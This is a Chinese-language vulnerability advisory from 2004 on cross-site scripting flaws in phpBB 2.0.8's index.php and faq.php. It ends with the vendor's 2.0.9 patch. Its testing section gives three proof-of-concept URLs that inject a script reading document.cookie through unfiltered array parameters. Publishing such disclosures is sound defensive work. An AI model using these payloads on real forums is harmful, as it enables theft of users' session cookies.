phpBB多个跨站脚本执行漏洞
发布日期： 2004年7月23日
受影响系统：
phpBB Group phpBB 2.0.8 a
phpBB Group phpBB 2.0.8
不受影响系统：
phpBB Group phpBB 2.0.9
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 10738
phpBB是一款由PHP编写的WEB论坛应用程序，支持多种数据库系统，可使用在多种Unix和Linux操作系统下。
phpBB多个脚本对用户提交URI输入缺少充分过滤，远程安全者可以利用这个漏洞进行跨站脚本安全，可能获得敏感信息。
phpBB包含的'index.php'和'faq.php'脚本不正确过滤用户提交的URI输入，提交包含恶意脚本代码的数据作为参数，当其他用户浏览时，可导致基于验证的敏感信息泄露。
<*来源：Janek Vind （come2waraxe@yahoo.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108999024506020&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有安全性，仅供安全研究与教学之用。使用者风险自负！
Janek Vind （come2waraxe@yahoo.com）提供了如下测试方法：
B1 - XSS in "index.php":
http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script>
&category_rows[0][cat_order]=99
B2 - XSS in "language/lang_english/lang_faq.php":
http://localhost/phpbb208/faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
B3 - XSS in "language/lang_english/lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe
建议：
--------------------------------------------------------------------------------
厂商补丁：
phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
phpBB Group Upgrade phpBB-2.0.9.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.9.zip?download
